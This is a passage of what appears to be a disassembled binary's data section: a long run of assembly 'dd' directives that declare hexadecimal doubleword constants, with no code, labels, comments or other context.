		dd 6CB47B00h, 0E8556B20h, 35E60057h, 0E9AC454h,	6003E92h
		dd 5BF9660Ch, 0E667A3F5h, 0C0D55033h, 1982Ch, 600E894Dh
		dd 9FB1341Ch, 0CA26C70Eh, 0F15F2041h, 262A5D08h, 0CBB085h
		dd 979D7825h, 2300FC5Eh, 0B17BE190h, 0CFA871h, 0BDC122A7h
		dd 0C515B3Ah, 0AE131601h, 32BFFC47h, 0C83815F1h, 6DD68A01h
		dd 709406F4h, 0D0C0822Dh, 1AAFF74Bh, 99240076h,	0C4D0DF62h
		dd 9600C74Dh, 56D5E34h,	0E480CC0Ah, 4B513CC1h, 4A52DF80h
		dd 2FB87CAh, 0C00B273h,	14FC42B6h, 0FCBEBh, 26F0F684h
		dd 0EBC9738h, 28E94600h, 56D5DBFAh, 8E8900DDh, 68582E3Dh
		dd 1F0ECA59h, 604A4051h, 0C9988CF6h, 0D65E00A8h, 0CEFE63BCh
		dd 91011903h, 0B5872BCFh, 0A5DC2C1Ah, 6528001Fh, 86440180h
		dd 475CE3F4h, 784300E4h, 0D61AD2Bh, 185B0150h, 9A7B72E7h
		dd 0E99CFCBDh, 1A19B104h, 15C09D3Bh, 446C0F5h, 689EEEF0h
		dd 1E60A042h, 0F83BB100h, 4CD9647Ch, 289644h, 0E19E6171h
		dd 0AF177209h, 550148D0h, 54BA1E9h, 0E09940F4h,	90B51D83h
		dd 8A178032h, 856265DAh, 0C8771400h, 3616114Dh,	3C29E1BBh
		dd 888E3F12h, 0B3834E50h, 0D0B2A387h, 0A0E23FDDh, 0A0B4BB10h
		dd 0EC291Ch, 4176758h, 5A696B5Fh, 64F03A7Ch, 0CB0C5E00h
		dd 3F72A71Fh, 47ED017Dh, 3BB2651h, 0A00C837Fh, 61D9B4h
		dd 1F5F1558h, 3F46BA35h, 0E1B5710Ch, 3B37036h, 7FF1F027h
		dd 58022D4Bh, 0BBBF1656h, 35448005h, 0EC026DDh,	48461AA8h
		dd 0A0491C04h, 50013D4h, 82ED1E0Ch, 0E4387150h,	0B8123CB4h
		dd 0E6FA5382h, 5D40327Ah, 797BB540h, 0F5C1F203h, 0DF8E935Dh
		dd 712887A0h, 3B83779Ah, 520048C5h, 5F29D334h, 0D213F8A7h
		dd 20407D37h, 0B080AB22h, 0B2170087h, 0F7CADA6Ah, 0FF3837A6h
		dd 7B510002h, 784975F5h, 431B0014h, 0FA98280Ah,	0EE584FF1h
		dd 88D80004h, 554E0689h, 50E5001Dh, 778EAACFh, 301E2B8h
		dd 7FE4BF56h, 0E5C86102h, 0AD980052h, 7E82906h,	0E000E285h
		dd 8158AAAEh, 57E467h, 0D8FE7C09h, 0FB0F50BCh, 7333C900h
		dd 13FC5D6h, 0CAD767F7h, 47FFB086h, 204A38E2h, 0AB04FC50h
		dd 0BF00B5B8h, 432BF4CBh, 0A52298B7h, 0DB13582Ch, 9400C48h
		dd 18896Bh, 5F837CCh, 0B5513DF1h, 1F413807h, 1C362013h
		dd 57326AEDh, 10FC290Ch, 2389715Ah, 2D442608h, 8F044420h
		dd 20476F44h, 54221E33h, 18C42228h, 4273D122h, 90511EBh
		dd 0BB14A821h, 80F2128h, 2C9F46CAh, 6E502262h, 45EA08E3h
		dd 1482FE47h, 7724CD35h, 17A16820h, 8119F480h, 1B60D272h
		dd 0D507EF24h, 13D98D7h, 4D079ED0h, 2B170055h, 0F46646B7h
		dd 481638EAh, 1400B881h, 4D01394h, 0F83300A5h, 0CD2EB474h
		dd 0B61C4EDEh, 0CF03F70Eh, 80C60A11h, 1DEF1CB8h, 4306C1BCh
		dd 2E94159Dh, 46DCA1A0h, 9BF0AF0Fh, 650809Ah, 24227B8h
		dd 549E4381h, 0D8771D6Ah, 6DCE3981h, 4B38FE01h,	0D8C89850h
		dd 4139F652h, 42FA405h,	0A0D1FC80h, 0EEA3D832h,	4D71007Eh
		dd 68807F52h, 40001372h, 8D847358h, 7C2772Bh, 0F90FC51Bh
		dd 0C0279099h, 0D3012CCCh, 0B750AEEBh, 93F08CB0h, 12440088h
		dd 0C3312745h, 3C901D52h, 43B1FD00h, 0E104CECBh, 489B00F2h
		dd 0C45CD3A3h, 24008749h, 8473A0Ah, 3052Eh, 29E1A5DCh
		dd 87DB679Dh, 40ED4E00h, 54277420h, 63D907D4h, 9A8F4B55h
		dd 0F7E940CCh, 97011EEDh, 7154B7CCh, 4DE8F4F2h,	123E30BBh
		dd 47B280BCh, 2DB71000h, 8B96CE74h, 5AAE0070h, 0E1179F14h
		dd 0A401349Ah, 0EB5032EFh, 0A3708E4Dh, 21FA0FD3h, 0E6C07960h
		dd 0FD5AC0B1h, 801EF539h, 0EEBC8DC4h, 0E51455h,	15E44A7Fh
		dd 0AEA54188h, 96D55900h, 346BEDCDh, 0BD0A0084h, 26CA8F3Ch
		dd 0A45CFD7Dh, 0C49307A0h, 43604515h, 50DF995Ah, 349C71h
		dd 0F9698A4Eh, 0EB9808DEh, 51224C04h, 0C80DC11h, 74F4AB05h
		dd 0A76F0EFFh, 0D79167h, 0A2D0886Ch, 3A0075BFh,	0BA5A815h
		dd 29F6E7h, 77FD12A7h, 61BB7FACh, 5200B0E8h, 821D1070h
		dd 1263CF9h, 215E85A6h,	0E432EC96h, 0E748B1D5h,	70067F10h
		dd 3953BBAAh, 90930128h, 55E66A19h, 0BC14208Ch,	68CF1200h
		dd 2A3D58CBh, 0E23B0462h, 839DA086h, 0FE905F1Ch, 0F148746Bh
		dd 35520148h, 0B66DF94Dh, 9A6AACD8h, 0BFE7154h,	4AC80876h
		dd 0AD00708Fh, 9D156757h, 0DD93440Fh, 8EA080F1h, 0C3FA13h
		dd 4624D24Ah, 6F7FF055h, 38A01460h, 5A483Bh, 90780B2Bh
		dd 5E9B8246h, 0B9E68B03h, 901CBA6Fh, 952A67h, 0E5AE5C26h
		dd 0F3576C8Ah, 20206B24h, 19636500h, 84DC91h, 8175D83Bh
		dd 87C26177h, 71F89F00h, 67F25E68h, 0CC30005Fh,	23D9CFE8h
		dd 9671B256h, 0DD00E671h, 5D3EEC01h, 0BF53BB0h,	36C6B8B4h
		dd 9B12F460h, 0FF681102h, 0E08D19E9h, 3D1E87Ch,	0AB772FF8h
		dd 0FE90B254h, 0F6009036h, 8318999Ah, 7E756BA2h, 0CF5500F7h
		dd 0DCC6D8BDh, 0B100232Ch, 9E5DAD2Eh, 110B66Ah,	9F1CE58h
		dd 0F0E1CBA0h, 5748A575h, 0A8BE00B5h, 0A10FB5D5h, 6EC20034h
		dd 0DB7A1E62h, 9D00B325h, 35917B4Bh, 0EF92A0h, 32126184h
		dd 0DEBBB9Ah, 25F60E00h, 0F20B898h, 0B1094C99h,	0CC55BE01h
		dd 4013E538h, 0AB40F9A0h, 8C00C178h, 2FF3E71Bh,	0EDFC46h
		dd 0B798EC5Ch, 76D8A43Fh, 134CCE01h, 0D077D503h, 5FD21080h
		dd 3734F9C4h, 0D161A00h, 0D9EB116Eh, 493E0007h,	0ED575405h
		dd 0F42CE10Ah, 958774BDh, 0A20070C5h, 0CCBADFh,	72ACADCFh
		dd 0BFD8D5C0h, 61109A00h, 54B564DBh, 927D30E5h,	28772C68h
		dd 0FC4B3F00h, 94839E3Dh, 3A898B3h, 0DF65E1F5h,	61D0C660h
		dd 5D48A466h, 1608000Bh, 80225112h, 2981C884h, 435CF102h
		dd 0F344433Ah, 4071FA7Fh, 31BF2B5h, 1C16EC66h, 23C96B8Ch
		dd 59FCC4F7h, 0FE3DDD00h, 970E6331h, 279009Fh, 6636A34Eh
		dd 12132CA8h, 0F40855F8h, 0E57D6019h, 5312E7EBh, 0A0416F09h
		dd 9782A245h, 2B8E90BCh, 114028C2h, 3649EC7Fh, 0E86C6400h
		dd 0EE59A1FFh, 34480784h, 0A6F93Ah, 0EBBC4998h,	0AD77FC09h
		dd 0E7048022h, 31C9733h, 0BD7C2337h, 0CCB8D0EEh, 380090A5h
		dd 9D4A14C0h, 543980ECh, 9B3B092h, 0C78B0376h, 4DD14880h
		dd 0AF002D43h, 919C0596h, 59670Ah, 8CFDFFCDh, 83E590BBh
		dd 37569826h, 0A0F6800Eh, 0B5C70347h, 0C47FB6h,	55C3A457h
		dd 69D3A29Fh, 2D64171Dh
		dd 820678C0h, 1E26FDC0h, 0A761354h, 1C81BA7h, 7CF21524h
		dd 0B840E06Fh, 4A319900h, 3E814722h, 8DAB0020h,	0B3A0CA65h
		dd 738DFF1h, 50BE00C3h,	5B37F3CFh, 1DA400AEh, 9A02FFCBh
		dd 46003019h, 76EDDCF8h, 0B0E86DFBh, 0F1E903F0h, 0F535E5E6h
		dd 0E7F14BCBh, 0B7844013h, 9D00B4C0h, 5CB83402h, 0D329Eh
		dd 45C1EF9Ch, 7D6DEC82h, 0A8506628h, 3F037871h,	7CE7A69h
		dd 96ABD05Eh, 0C4632881h, 0C7F000E0h, 984A8605h, 3B00A3B9h
		dd 8A55D06Bh, 3F091096h, 0C81BA97h, 2A2AE95h, 0D66DFCBDh
		dd 81B85B00h, 0CA775566h, 0DCFD00FBh, 9BAB08D4h, 0B4003F1Bh
		dd 9A3A15Ah, 1EE2D0C3h,	0C0A6AC24h, 522764DCh, 260E29DFh
		dd 0A05C4BA1h, 437F77F1h, 0D3DE3930h, 8F617980h, 3E948636h
		dd 0A727E600h, 0E226A1BAh, 9CEA0439h, 0C0BE6E4Ch, 85493B8h
		dd 6A654B00h, 7DCA467Ch, 2A4C266Ch, 649200B2h, 4FACE69Eh
		dd 686EFB24h, 0E7D2B000h, 0D0C5E4h, 0AD574BB5h,	3E9D24BFh
		dd 8120A30Fh, 3133A00Dh, 7DEC2C0Bh, 0EF5E001Dh,	450E86F4h
		dd 907DD9F1h, 92052AB8h, 1601B5ABh, 0C3C08480h,	0FD890C8h
		dd 0C96F22AAh, 9B2D34E1h, 59F030B8h, 5B0B9DEEh,	80437210h
		dd 4EE915D8h, 0C87E28h,	248CAEA4h, 7C29554Ch, 80910A3Dh
		dd 0A8273CD8h, 0FD7995Dh, 0E3DC1C8Ah, 0A42CA4D4h, 4A9F3B14h
		dd 2816CA7Bh, 627205F4h, 0D66CC055h, 9C01793Ah,	324DB3C1h
		dd 0FC500A35h, 1E2A80h,	0C24110EEh, 6D038ACh, 0FB74C100h
		dd 0F1275748h, 9D89005Fh, 98A124E0h, 0EA00CDB5h, 1F699BA6h
		dd 50C61Eh, 3FA82C63h, 0B7D6543h, 713413Dh, 6CC01D27h
		dd 234E011Fh, 0AB6006A2h, 855D01DFh, 40361C96h,	2E38FC4Ah
		dd 0B547BC07h, 28012CCh, 3D8ABE91h, 0B8B944F5h,	0FB0700FFh
		dd 0EE1308E2h, 9400B9ECh, 0D4BEB772h, 905FCA61h, 186307FCh
		dd 7015A227h, 0CB3EAC65h, 0C4A63703h, 0F8E582F6h, 27F9684h
		dd 0F1C29367h, 0D1C07A8Fh, 29004B8Dh, 0F97B8E4Eh, 0F85F6E3Eh
		dd 0E552005Eh, 0D6C64943h, 2800F1A5h, 13B57AB1h, 0CE39A4h
		dd 5496B875h, 7BBBD8ACh, 44982F09h, 0FA140035h,	603CEA91h
		dd 0B3E41040h, 5A036BF4h, 289F0A05h, 0E5A80038h, 908209B1h
		dd 0C4001AA6h, 0ED9130FFh, 0C7D48Fh, 18A839D5h,	94A42B79h
		dd 0C8AF5100h, 6507413Fh, 46A7150h, 5657F915h, 0ECCD071h
		dd 0B3006FFFh, 0B175ED0Bh, 73385h, 0D14324C5h, 0E09640A8h
		dd 0BC62CA00h, 0EC759C52h, 67BF009Fh, 71B5C369h, 0DC00D860h
		dd 2737B062h, 98892AADh, 0AA6E0B30h, 9890581Ch,	0A91EC2A8h
		dd 3A00DBA7h, 73ABD147h, 1E2C90BFh, 185FF42Ah, 57C01105h
		dd 0CDEE0F00h, 3670840Bh, 0B0A9627Bh, 0E5425553h, 803B4854h
		dd 3258F1C5h, 0E8FCC7h,	0E1D20B0Eh, 0D91DCB41h,	0E940FE00h
		dd 252C6E4Bh, 14720138h, 9E424EF2h, 0D080E674h,	3A8CAF7Bh
		dd 3B19CE01h, 0CDBBEB05h, 287830h, 0AC2E51E7h, 0EC867CFh
		dd 0FFF0A62Ch, 0F3F48600h, 7D214Ah, 0D159DE4Ch,	4FE0355h
		dd 20E2FF00h, 72DC5DBBh, 183F0093h, 8279664Bh, 0AC00EF19h
		dd 2FECF603h, 0D13C2Ah,	3D65FA93h, 0DF98A7B0h, 85613Dh
		dd 6352E95Ah, 0EC0BA3E0h, 8A6800BEh, 0F45321E2h, 0D30FE801h
		dd 0E0772661h, 0B9AD5892h, 1CF5741Bh, 40878B28h, 0CD2DA933h
		dd 0D90E52CFh, 0AE2BBEF3h, 602ACB25h, 0E1BB40h,	0F72E214Fh
		dd 6FE8F3Fh, 15036496h,	8A22ED14h, 0C1A28EFFh, 79AEC098h
		dd 5F2BCCh, 2C38BB43h, 5A80BC9Dh, 75066C02h, 60BAB8F5h
		dd 5367850h, 0BF43B1F9h, 0D94DC098h, 64008495h,	4CA09763h
		dd 0F25CC0h, 0C6B8697Fh, 14467401h, 1D67A200h, 0B0E1EFECh
		dd 20A4876h, 9180DE3Bh,	9EA9F701h, 60038DE2h, 0C1AD1877h
		dd 3B04807Dh, 4FB71FFh,	746BA9EFh, 75ED804Eh, 9B000969h
		dd 45F4E725h, 3E9085h, 0C479C1EAh, 6FDB674Ch, 9E5E403h
		dd 0E0C02C49h, 3E47E2h,	0AA66A2B4h, 9D12AEF8h, 0F607901Ch
		dd 6240715Ch, 0BD10DFDDh, 955079Eh, 10BF92AEh, 0CBB5DB69h
		dd 5BD8AD1Fh, 25DFD1C5h, 3D1F84C0h, 12FD0705h, 474BF30Ch
		dd 2AC0BF5Ah, 84A9A86Ah, 0A034F01h, 0FCE6D0E4h,	0E700D438h
		dd 341F8F73h, 87B8A9FEh, 2BF82E01h, 0E92ADC21h,	9900B444h
		dd 0D43463BDh, 71852C0Ch, 0CEF49E10h, 0BEEE500Fh, 0EC938080h
		dd 0CC00FEF2h, 0A927BA55h, 0EC1E1D7Eh, 222400F9h, 0D2E634B0h
		dd 26002BDAh, 9FFCD9B9h, 925DD1h, 0F637BC90h, 8E0787E9h
		dd 4A1FC492h, 0B7802873h, 16E1781h, 0B80300D7h,	0DCCFE72Eh
		dd 0CC1E4A2Ch, 4E80BCA7h, 99A0B170h, 763B893h, 548D6AF2h
		dd 64FDB014h, 39005B32h, 9E5DC476h, 3DE8B0D2h, 341C6757h
		dd 60CE4095h, 8E5F735h,	86E05403h, 905C4DB0h, 739C4Ah
		dd 0B3A67B3Dh, 0E3D6B970h, 2DB5BB00h, 0A32FAFF1h, 0FDF4C5h
		dd 5E298FD3h, 33DE1C43h, 8BE4BB02h, 68BDAB3Eh, 10AE52Ch
		dd 14A703C6h, 81B52FEEh, 7E0FA618h, 4C30C0D4h, 72660090h
		dd 0DD3AA05Fh, 30F7CF3Eh, 0AF1D0370h, 5D8049D2h, 0D6304A81h
		dd 3D8F0182h, 0FFB6B5D5h, 0BE4080F2h, 968DC86Fh, 88904C53h
		dd 0F409B306h, 720021C4h, 25E2FA2Ch, 1E9DE91Ch,	0C98921A0h
		dd 800067A7h, 0CB8E2F7Fh, 801EEF00h, 56CEC69Bh,	0F8A600AAh
		dd 9733A914h, 0E100D1B3h, 2EE70E5Bh, 9043CE5Eh,	0CCB026E3h
		dd 96F2001Ch, 1FDC91C7h, 80AF113Fh, 5AC39AC1h, 0A11E40h
		dd 39C0A7CAh, 45BBF472h, 78A5CF30h, 7CD959h, 0DB5ECB65h
		dd 20534F22h, 0C36C1C5Ch, 0B70AE455h, 68823F20h, 6E86009Dh
		dd 66B432ACh, 0D1E0F28Fh, 0E8EF772Ch, 570DDF00h, 5202F3h
		dd 549E68A4h, 0E4D587E5h, 3EF4A3Ah, 91D48B5Dh, 0F89C9332h
		dd 0DAA3E2h, 0F3EBFC9Ah, 31AE6E62h, 8ACB8700h, 0F2E95C29h
		dd 0A54650BBh, 0A454125Bh, 0C19C0BEEh, 7A06BB00h, 4300E1AAh
		dd 785322B9h, 158FF9h, 23BDB76Dh, 1CA7B69Fh, 4B46851Fh
		dd 78172980h, 7A1496Ah,	2B45F535h, 0BEFCA024h, 59002C95h
		dd 49349897h, 1F136A27h, 0C0EEBB0Dh, 8F1A7877h,	0B2016561h
		dd 0C672B535h, 0FDF4ABD8h, 7D747875h, 53C008Bh,	10162A61h
		dd 0F500249Eh, 44DD51B7h, 13AE5D5Fh, 0B44972A3h, 2D26CA88h
		dd 758028F4h, 89175B7Dh, 0A491EE8h, 0D63887AAh,	37203C18h
		dd 8515F500h, 738A1B68h, 13E92689h, 0E391CE8h, 169EF1h
		dd 0C51929E7h, 4D1EFC14h, 0E8249F4Ch, 91B56C00h, 228D4E8h
		dd 0C17911A0h, 2C604C6Bh, 0F55A3A5Ch, 3E93A440h, 7D9AE8h
		dd 0FA34C531h, 0B19F87BFh, 0D5BE7400h, 77DB0C2Dh, 3070F44Bh
		dd 9621AE58h, 1E79E4F9h, 9C8A4E3Fh, 0C38068A9h,	0CDC70165h
		dd 3EC53F74h, 180F8C0Bh, 0BCC0CD0Bh, 632E6520h,	0C400333Ch
		dd 480CE2F1h, 769E0423h, 0B9712A16h, 0C6D70038h, 4B037BF1h
		dd 0D1C4005Ah, 0ACAD0936h, 6930DF3Ah, 781E5005h, 4614A0C5h
		dd 0F492028Bh, 0C335B98Eh, 0DF02343h, 0B9C0A964h, 1F5EC56Ah
		dd 0D741006Dh, 631E7F74h, 8F00C6E4h, 275A6C3h, 3DB4B6h
		dd 3277F89Ch, 5E7F52BAh, 0ED20B10Eh, 84FF6325h,	71CD929Bh
		dd 0E99C0074h, 0C14E9F2Dh, 994DE601h, 64D8F522h, 808F24AFh
		dd 0DF614B20h, 2F005950h, 7B0FBAFDh, 0E61FC8C7h, 0E2630304h
		dd 0E06CE8A6h, 0F46989D1h, 353CD191h, 2CE100A5h, 16C9CF3Ch
		dd 935B058Ch, 0C0217E01h, 2087BAD4h, 0E3A69412h, 9CC0BC12h
		dd 0E28DB0h, 0AA3E1574h
		dd 98240F0Dh, 0B5548100h, 5A65D375h, 38D4E582h,	39CEF2B8h
		dd 8890678h, 40C049E3h,	8AF801F1h, 0C920B66Fh, 6BE78011h
		dd 3A1ED46h, 93E93DC7h,	941EB0B4h, 867AEC7Eh, 0B64D4961h
		dd 92F33A19h, 1003358Fh, 434ECA45h, 6ED2DA88h, 1CC361F8h
		dd 322ED716h, 10B68462h, 0FB7620C9h, 38029B00h,	0DDCAEE12h
		dd 0E57A0087h, 0ED1B39BAh, 7E7C3DD3h, 38A62C00h, 0A54BC141h
		dd 355C0271h, 3DC3987Ch, 19801840h, 80BD5E3Fh, 656C8C2Fh
		dd 282955h, 0D29A64A3h,	0CF8171D0h, 0C31DD4FDh,	920C50C0h
		dd 3ABF035Ch, 0C000C7B9h, 0DE13F001h, 2C003B55h, 0E1DCD75Eh
		dd 0B67A0AFAh, 8D890770h, 10809F2Fh, 6BD68B29h,	49383F00h
		dd 3D592B65h, 57C10078h, 2EFFC39Ch, 0F31F4630h,	0EE06944Eh
		dd 7BD69017h, 870D0049h, 2BB8EB89h, 3D0085B7h, 1DBD2C4Ch
		dd 0B1300Fh, 9490CA46h,	3B649F88h, 2B5D439h, 4F96AA7Ch
		dd 794CE08Ah, 56B3009Ah, 50CEBAABh, 9D002773h, 7B5AE8ADh
		dd 7AAA8EE5h, 1938007Fh, 31C59155h, 7A16D42Eh, 0A4408525h
		dd 78432BC2h, 93900EFh,	586FD996h, 0FF00E767h, 4282BB27h
		dd 0E0858804h, 0C9280068h, 9C72B1A8h, 80734A05h, 6AEF1C00h
		dd 3C85EC75h, 609E4962h, 8767DA09h, 0E504346Ch,	0B046288h
		dd 0C0F5E490h, 59F407BBh, 97EE1FB4h, 0A1F770AAh, 7E5F16F9h
		dd 0E3692800h, 18E29111h, 6238E85Fh, 4490C81Ch,	0FA92E703h
		dd 0D8EBAD15h, 0BE757A31h, 363C2B2Ch, 28585820h, 0A8E22480h
		dd 0AF40CA18h, 44400089h, 0DF1815B4h, 0A400665Ah, 0EE285098h
		dd 0C0CD2D31h, 0EA42B728h, 27E89D06h, 98002BF8h, 0C61AAB3h
		dd 72AB7BC1h, 38830422h, 0D21923C0h, 44E8AF64h,	852C319Dh
		dd 0AD03319Ch, 0D8E445EEh, 0E6A3E8D9h, 0CDB80059h, 26CE6FC8h
		dd 0DE00466Ah, 0BF69F50Ah, 375C8C98h, 90F88B60h, 2E3B17FBh
		dd 63DDCF04h, 92C0B172h, 9F81D7h, 0F7768486h, 53A695F8h
		dd 0DA0A3D00h, 0D4BDB1F1h, 0C85F1461h, 8C03BC9Dh, 0C14FB315h
		dd 9B43380Ch, 0B23C24h,	0A6B6574Bh, 279C1214h, 0FC9270EBh
		dd 560085E0h, 0BD444D0Bh, 0EE026Ah, 6099D378h, 7B11B6B7h
		dd 9AC6B100h, 54C4D4B0h, 82BF0025h, 4C975221h, 6A00C912h
		dd 30159698h, 3CF7F3h, 48A66116h, 0D1F53B31h, 0F2AFAE13h
		dd 4D8EECB0h, 6D003C7Fh, 0B3060BEAh, 0A3004485h, 0BF2F51C3h
		dd 426216h, 1DD43CE1h, 251C6CFDh, 46E9E800h, 5BE0F235h
		dd 0A7E1485Ch, 0AA2CA000h, 0EE9E5D1Eh, 30B093FEh, 800564Eh
		dd 85344BBEh, 0D95006Bh, 0DCEF6D9Bh, 57005A45h,	1E5B334Ah
		dd 70BAB6A5h, 0A8AC1CCDh, 1ADE01C7h, 0C07E7AE3h, 73EE7B0h
		dd 0A093800Bh, 0F7034669h, 82B3D52h, 0F3278381h, 0C589667Ah
		dd 0B6C32ECh, 0E09E4268h, 12ACA60Ch, 0D4C99Bh, 7DFD8940h
		dd 8000C468h, 8CA2D879h, 118227h, 0EFA61A94h, 4BF3414Fh
		dd 22510705h, 9D004325h, 0F7A57504h, 9CE006Ch, 0C9EFD41Ch
		dd 50EC6DA1h, 56D74A50h, 76B5F400h, 0EA774FE1h,	0B39100C1h
		dd 0E350096Eh, 20C157D5h, 45B99390h, 10806BD5h,	21027F92h
		dd 3400CFA4h, 0A8F563FEh, 0B666ECh, 0ED0C51A0h,	0D37B32B8h
		dd 2D9A9007h, 29219921h, 0D7F808B7h, 0C0FA00CBh, 10BE5639h
		dd 770065F0h, 5BB30EB5h, 3E793594h, 2180CB1Dh, 7B7192FAh
		dd 4E0091BAh, 0B52249C8h, 800CECh, 8C556787h, 0CAC3CDCFh
		dd 0E0B31B00h, 8310512h, 896300F0h, 495B436Fh, 0D7005C75h
		dd 804E8191h, 794B18Eh,	0A365F242h, 1B7151F7h, 1222E030h
		dd 972D9B00h, 68B4CE2h,	95A3000Fh, 9571899h, 6C002405h
		dd 0F886D7FCh, 9AB7DEh,	642627ABh, 0B6F176D0h, 629E3500h
		dd 1D613386h, 453D031Fh, 0F555D946h, 0E781CFF1h, 305D5000h
		dd 888EFC72h, 3FFE9Ah, 86BB02D2h, 7F3C387Bh, 9066D50Ah
		dd 1E87D468h, 0A2313709h, 2BD8455Ch, 8D291EBBh,	0A47EC628h
		dd 0AEF0E0DCh, 0A60D0800h, 3F54BC02h, 112D0393h, 2290E659h
		dd 347539C0h, 1E057107h, 0E08F47A9h, 8D650FFDh,	8B4B00AAh
		dd 0C125109Ah, 0CC019596h, 71B10664h, 0D8D05566h, 0BC9A0F42h
		dd 6260C37Eh, 224BB36Eh, 88A43000h, 0AD16F0F5h,	0F15F51DAh
		dd 3EB10F60h, 64CFAE3h,	0E48A6A3Dh, 80B8F848h, 44CA3DBFh
		dd 67142704h, 1C02105h,	34828DD1h, 6C20E386h, 300100A5h
		dd 0B9F86C90h, 92D3FD3h, 1803547Dh, 0FD10392Bh,	26EEB700h
		dd 0D740B474h, 0E4849244h, 961A0084h, 4D9136D4h, 18C0053Ah
		dd 7CB94EC5h, 11086041h, 5A2ABBD6h, 0C8A40E00h,	93EA6B43h
		dd 3E360C34h, 185142D1h, 14075A03h, 9BB96B30h, 103830BDh
		dd 3712CD1h, 0D305D803h, 0CF0D0137h, 6B3C1940h,	94270EB2h
		dd 740EA70h, 114AAEE1h,	0A8BDE40Eh, 192D65F0h, 0D0A28C40h
		dd 0EEF16D42h, 4B951F1Ch, 0D9738A31h, 18CD0734h, 0FBDF4027h
		dd 24006620h, 0A826CF52h, 0C0324F06h, 0DFDC09C0h, 6F0EB890h
		dd 1DA4C1A9h, 4CBD2A80h, 3E15E170h, 2B008D1Ah, 2ED6F0D4h
		dd 0D5076855h, 0DB5D0618h, 299B7520h, 1F440064h, 4B6536CCh
		dd 0BB0041CDh, 0DBF4CB7Ch, 9AE3D4h, 1B328569h, 2B8B88FFh
		dd 89188700h, 0F8D46405h, 1ECF09Ah, 0A1BDD639h,	30FCCB55h
		dd 8200DCF0h, 0F0C958FBh, 5440DAh, 35E81FEh, 7BAA0F9Ah
		dd 9E25F802h, 0E0CDAFC1h, 0A8BF2Bh, 0CFBE1550h,	103E3D8Ah
		dd 0BA58A001h, 4D847505h, 21E0AAE1h, 35A600D4h,	1B2A07C9h
		dd 0C73D8151h, 0F59600E9h, 1F80ADE8h, 0B4ED035Bh, 1BD6C9Eh
		dd 813E701Fh, 0C5118900h, 0F45912Ah, 8F387A93h,	8C331080h
		dd 0EC0DAFCAh, 30B2D8A6h, 0B0737FECh, 12BC0B6Fh, 9F81C3D9h
		dd 60376199h, 3F01BAACh, 3AFB3E0Ch, 0A08C3CABh,	3BE1A902h
		dd 0EE89D500h, 60B4B270h, 441C1DFFh, 2E5500D3h,	0A8C1AE6Ch
		dd 0B05B31Bh, 0DA3AD8A1h, 0A7403D6Ah, 58E86080h, 61C0DB77h
		dd 5019BD05h, 844302CDh, 90E6217Bh, 711DAD8h, 97FF881h
		dd 0F93A087h, 500C102h,	351CB567h, 0B7DE3ACh, 25B7ADD2h
		dd 0D36B4200h, 563AB436h, 5B8C0F10h, 0D616222Fh, 2DC2E053h
		dd 17AF1EDAh, 9ABCC3ABh, 803A852h, 6D6C825Fh, 0D687E96Ah
		dd 723243C0h, 0EC6900BBh, 0D34105BDh, 0E0004596h, 3DD69257h
		dd 0F0517255h, 0C040DFB6h, 0E3F45CBBh, 201696C3h, 0A1007849h
		dd 10F9EE1Eh, 0BB7B3C5Dh, 0F8C001F2h, 1A3ED35Bh, 50F26021h
		dd 0EC89DB3Ah, 0D5F9950h, 0ABE3CB1Eh, 82B4F170h, 65DDC419h
		dd 0C960FDECh, 8D1806D7h, 5B58B533h, 1123004Eh,	2D049116h
		dd 18C7BA9Bh, 0DB1798AAh, 0FE5CA95Ch, 35EF001Dh, 3DD7C005h
		dd 5AE8BDDDh, 0FB209960h, 0E70ACBh, 0F8C890A0h,	0B0FC4932h
		dd 0DB4E3500h, 0FA9115A2h, 99BE0661h, 0B8510929h, 747E1E0Fh
		dd 0E6B34050h, 64DD63h,	69BDDB3Eh, 8B328A53h, 86173A38h
		dd 0D683F215h, 6EEB0088h, 0F83BAC19h, 41168AF7h, 7E014E38h
		dd 0E7C340D0h, 1CA7FCC4h, 0C28B684Dh, 3E02F786h, 541300C0h
		dd 42053Ah, 0D0E00EE9h,	0A53052h, 63CE1447h, 98EFA30Ah
		dd 0EA9A5D00h, 7C49259h, 0E8DFEAA7h, 916300C0h,	80090167h
		dd 7600F8C9h, 0B8AE2A3Ah, 2E92B970h, 7E34B28h, 0B0EB6BB1h
		dd 80C293A7h, 2C8DEE00h, 826A4E4h, 0AB6D00B6h, 9384D2DBh
		dd 851A13E1h, 1510D35Eh, 0A1005704h, 0AC8EF314h, 26460075h
		dd 824483B6h, 0B73DC27Eh, 0B23D8173h, 0F3F7AA34h, 0F03AB3E0h
		dd 0F3FE8EAh, 5CE1885Bh
		dd 0B6ABC880h, 0B70EEE46h, 0BCE5B201h, 0B1EF3E03h, 0AD40E7FBh
		dd 0D0D268h, 0D44407B6h, 0EDF319C3h, 0F5D6AC03h, 0C2F6E4D7h
		dd 0E609E036h, 0AE21473h, 0C0A964F7h, 10C07C0Fh, 0F7D0AE5Ah
		dd 0A56D0EDCh, 0B5C0AB87h, 55095966h, 5203FEE0h, 685A7A67h
		dd 712911D3h, 57651181h, 11530A11h, 4D21D458h, 955D4908h
		dd 0D52228D6h, 22D05922h, 0C2223AE7h, 0CDD9225Dh, 71143550h
		dd 446E2544h, 0E20745Fh, 114142EAh, 7A21234Fh, 4222801Ch
		dd 226B111Dh, 9A108621h, 44CFE984h, 324826DFh, 0E9F88D41h
		dd 28820502h, 1E249076h, 88F99221h, 1CDD129h, 0DB227348h
		dd 366EFC21h, 1A793200h, 2BCE68A3h, 47C500F2h, 501EC79Ch
		dd 0DD00F10Bh, 41CB18F9h, 3ADEC3B6h, 6F80B27Ch,	5D3C9EB3h
		dd 1900E2D4h, 0CEDD77CAh, 7A3697AEh, 0C0F70067h, 2C9296Ch
		dd 5D1C9A26h, 0A55EC455h, 7720AE03h, 349600AAh,	0E3361E16h
		dd 94000BA3h, 1DC2626Ch, 0CFF9FCh, 24631EBh, 2C2E454Ah
		dd 0EFCE6501h, 0F77B3906h, 0E45870h, 9BCF6D37h,	564E2D95h
		dd 0AB101500h, 9AD4A6FBh, 0B0F22423h, 73380080h, 37DA199Bh
		dd 0C2B086F4h, 507B49h,	0C332165h, 1FFC2A42h, 0C0A5329Bh
		dd 0F6DE1FD4h, 760074A0h, 1C06C2E1h, 4D839h, 6119C512h
		dd 27D6258Bh, 364B4D07h, 96C0455Fh, 7C206EDAh, 661007Fh
		dd 71477729h, 870CAC10h, 7954E957h, 3888038Eh, 0B5912867h
		dd 9D94D7D0h, 0BBDF960Fh, 0F22DE045h, 23C45Fh, 0F036B31Dh
